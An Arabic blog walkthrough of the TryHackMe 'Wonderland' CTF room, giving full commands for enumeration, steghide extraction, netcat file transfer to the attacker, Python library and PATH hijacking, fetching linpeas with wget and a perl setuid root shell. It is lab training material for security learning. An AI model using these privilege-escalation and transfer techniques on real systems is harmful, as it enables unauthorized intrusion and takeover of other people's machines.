Search 🔎🖥️

TryHackMe|WonderLand WriteUp\Walkthrough (Arabic)

بسم الله

اللي يبغى يشوف الحل مشروح فيديو يرجع للفيديو على قناتي باليوتيوب على هذا الرابط:



رابط التحدي: https://tryhackme.com/r/room/wonderland

====================================================

كلمة IP في كل الكوماندز اللي أكتبها تُستبدل بالـIP للمشين حقتكم على TryHackMe

أول حاجة نشغل الـmachine ونتأكد إننا اتصلنا بشبكة TryHackMe والاتصال مضبوط، بعدين نبدأ بأول خطوة للحل وهي إننا نسوي scan للشبكة باستخدام nmap

sudo nmap IP -vv

طلع معانا بورتين 22 و 80، نرجع نسوي Aggressive سكان على نفس هذه البورتات

sudo nmap IP -vv -A -p 80,22

بورت 22 عليها SSH والنظام هو ubuntu، وعلى بورت 80 عندنا Golang http server. 

نروح للمتصفح ونزور الصفحة الرئيسية، وبيطلع معانا صورة أرنب وفوقها كلام، ولو دخلنا على الـsource code، ما بنلاقي شيء مهم، بنسوي directory enumeration  باستخدام gobuster

gobuster dir -w /usr/share/dirb/wordlists/common.txt -u htttp://IP/ -t 64

طلع معانا مسارين img و r، إذا رحنا للمتصفح وزرنا r بنلقى رسالة "keep going" معناته في مسارات خلف هذا المسار، ويحتاج نسوي gobuster كمان، لكن قبل نكمل بنشوف المسار الثاني img، بنلاقي فيه 3 صور، نحملها كلها على جهازنا، ونشيك عليها. بعد دراسة الـ3 صور كلها، الصورة اللي فيها معلومة مفيدة هي white_rabbit_1.jpg

أول حاجة بنشوف ايش بداخلها باستخدام

steghide info white_rabbit_1.jpg

بيقولي إن بداخلها عندي ملف اسمه hint.txt

وعشان نستخرجه

steghide extract -sf whilte_rabbit_1.jpg

لما يطلب كلمة السر نضغط Enter ثم بيتحمل عندي الملف، بداخل الملف فيه ملاحظة

يقولي اتبع الـ r a b b i t ، ولو ركزنا، هو مخلي بين كل حرف وحرف فراغ، وبالمتصفح في الصفحة اللي اسمها r يقولي keep going، فمعناته إن في صفحة http://IP/r/a/b/b/i/t على الموقع، نروح للصفحة، ونشوف وش نلاقي فيها.

الصفحة فيها صورة وفوقها كلام، ما فيه شيء مهم، ولكن لو دخلنا على الـsource code، بنلاقي alice وكلمة سرها موجودة ولكنها مخفية (display: none)، ولذلك ما ظهرت معانا في الصفحة. 

الحين ناخذ كلمة السر هذه وندخل على النظام كـalice باستخدام SSH. 

أول ما ندخل على النظام نبغى نلقى الـ user.txt وهو قال لنا في السؤال إنو كل شيء مقلوب هنا، ولو عرضنا الملفات الموجودة في مجلد alice بنلاقي root.txt اللي بالعادة يكون في الـroot home directory.

إذن معناته إننا بنلاقي فلاق المستخدم في مجلد الرووت، وعشان نعرضه 

cat /root/user.txt

وبكذا يكون حصلنا على أول فلاق ✨، الحين نبي نقدر نقرأ فلاق الروت، اللي زي مو واضح ما يقدر يقرأه إلا رووت، إذن لازم نرفع صلاحياتنا. 

الفكرة من هذا التحدي، إن الطريقة ماهو من alice علطول نقفز على root، بل بننتقل من مستخدم لمستخدم آخر، حتى نوصل إلى root. 

لو لاحظنا في الملفات اللي موجودة في مجلد أليس، عندنا بايثون سكريبت، واللي يقدر يعدل عليه هو الرووت فقط، لكن احنا نقدر نقرأه، لو جربنا نشغله، بنلاحظ إن في كل مرة نشغله قاعد يطبع لنا 10 أشطر مختلفة من القصيدة.

الآن بنستعرضه ونشوف كيف نقدر نستفيد منه، باستخدم strings؛ لكن strings ماهي موجودة على الضحية، فبأنقل الملف على جهازي، وأشوفه هناك. بأستخدم netcat

في ncat الـlistener هو اللي يستقبل والـClient هو اللي يرسل، ولازم نشغل الـlistener قبل الـclient

على جهازنا 

nc -nlvp 1234 > walrus_and_the_carpenter.py

وعلى الضحية

nc -nv OpenVPN-IP 1234 < walrus_and_the_carpenter.py

بعد ما نستلم الملف على جهازنا نسوي عليه strings

strings walrus_and_the_carpenter.py

بنلاحظ إن الملف يستدعي random، والبايثون كود إذا استدعيت أول شيء بيبحث في المجلد الحالي، فاللي بنسويه إننا بنسوي بايثون كود، يعطيني shell ونحفظه باسم random في نفس مجلد alice، وبكذا لما نشغل walrus_and_the_carpenter.py بيعطينا علطول shell، لكن لمين بالضبط؟ على حسب أنا بصلاحيات مين شغلت السكريبت، لو بصلاحيات رووت بحصل على رووت مباشرة، لكن ما عندي كلمة سر له، لكن ممكن يكون مسموح لي أشغله باستخدام رووت أو اي مستخدم آخر، وعشان نعرف إذا فيه شيء كذا أو لا نشغل الكوماند sudo -l على الضحية ونشوف

واضح من الصورة إنو alice ممكن تنفذ الكود كـrabbit، معناته لو نفذت الكود بصلاحيات rabbit، رح أحصل مباشرة على rabbit shell. إذن أول حاجة بنبدأ نسوي الملف اللي اسمه random

vim random

ونكتب بداخله

import os

os.system("/bin/bash") 

نسوي حفظ ونخرج، ثم نشغله كـrabbit

sudo -u rabbit /home/alice/walrus_and_the_carpenter.py

وعلطول بنحصل على rabbit shell

cd /home/rabbit

وبنلاقي موجود عندي ملف اسمه teaParty وهو من نوع SUID، هذه الملفات باختصار ملفات تشغيلية، ولكن الفرق إننا لما نشغلها، تشتغل بصلاحيات المالك، وليس صلاحياتنا، فالآن المالك لهذا الملف هو root، إذن إذا شغلناه بنشغله بصلاحيات root. 

ننقل الملف لجهازنا نفس ما نقلنا walrus_and_the_carpenter.py باستخدام nc، ثم نستخدم معاه strings

strings teaParty


لاحظو في السكريبت إنو مستدعي date، بدون ما يحط الـabsolute path، وهذي ثغرة، ليش؟ لأن ممكن نتلاعب فيها ونسوي ملف اسمه date ونخلي بداخله سكريبت يعطينا shell ثم نحفظه في مجلد ونضيف هذا المجلد للـpath وبكذا لما يشتغل السكريبت ما بيستدعي الـdate الكوماند الأصلية، بل بيستدعي الـdate الملف اللي سويناه، وهذا بالضبط اللي بنسويه. 

أول شيء نسوي ملف اسمه date ونحط بداخله 

#!/bin/bash
/bin/bash

ثم نحفظه ونخليه ملف تشغيلي 

chmod +x date

ثم ننقله للـtmp

mv date /tmp 

بعد كذا نضيف tmp للـ path

export PATH=/tmp:$PATH

بعد كذا نطبع الـPATH عشان نتأكد إذا انضاف الـtmp أو لا 

echo $PATH


لو هذه الجزئية مو واضحة ممكن ترجعون لمقطع الشرح بالأعلى من الدقيقة 17:00 إلى 21:00

تمام الحين كل شيء جاهز، نشغل السكريبت عادي 

./teaParty

وعلطول بنحصل على hatter ولكن لو شغلنا id بنلاقي إن الـgid و الـgroups باقي rabbit


وعشان نعدل، إذا عرضنا الملفات اللي في الـhome directory لـ hatter 

cd /home/hatter
ls 

في ملف موجود وبداخله كلمة السر، ناخذها ثم 

su hatter

ندخل كلمة السر، ولو رجعنا شغلنا id بنلاقي إن كل شيء تعدل 


الحين اللي باقي نبغى نسويه إننا نرفع صلاحياتنا لرووت، وممكن نبحث بنفسنا عن طُرق نستغلها، أو ممكن نستخدم سكريبت يسهل علينا الموضوع، مثل linpeas.sh، وعشان ننقله للضحية نروح على المجلد اللي في جهازنا يحتوي على linpeas.sh ونشغل بايثون سيرفير

python3 -m http.server

وعلى جهاز الضحية نروح للـtmp ونحمل الملف هناك

طيب ليه اخترت الـtmp ؟؟

أول حاجة tmp هو ملف كل الملفات اللي فيه تُمسح تلقائيا عند إغلاق الجهاز، فمثلا لو كنت تشتغل في جهاز الضحية وفجأة تقفل، علطول بينمسح أي شيء حملته هناك على tmp ويصير ما يبقى لك أثر. 

ثاني حاجة، لما نشتغل على جهاز أفضل إننا نجعل ملفاتنا محفوظة في مكان واحد، لسهولة الوصول لها ولسهولة مسحها والتخلص منها، ويا سلام لو كان هذا المكان هو من نفسه يمسح اللي فيه لو تم إغلاق الجهاز بشكل مفاجئ. 

wget http://OpenVPN-IP:8000/linpeas.sh

ثم نغير صلاحياته لملف تشغيلي 

chmod +x linpeas.sh

ثم نشغله 

./linpeas.sh

بيطلع معانا نقطة لرفع الصلاحيات احتماليتها %95


وعشان نستغلها بنبحث في موقع ممتاز اسمه GTFObins ثم نبحث عن perl وتحت Capablilities ناخذ أسفل كوماند وننفذها زي ما هي


ومجرد ما ننفذها علطول بنحصل على root shell، مهم إننا نضع الـcomplete path لـPerl

/usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'


الآن بعد ما حصلنا على رووت نروح لـ Alice وناخذ الفلاق

cat /home/alice/root.txt

وبكذا يكون حصلنا على الفلاق ✨ وانتهينا من حل التحدي، بالتوفيييييققق لكم. 

Comments

Popular posts from this blog

TryHackMe|Blog WriteUp\Walkthrough (Arabic)

eJPTv2 Exam Review (Arabic)

TryHackMe|Blueprint WriteUp\Walkthrough (Arabic)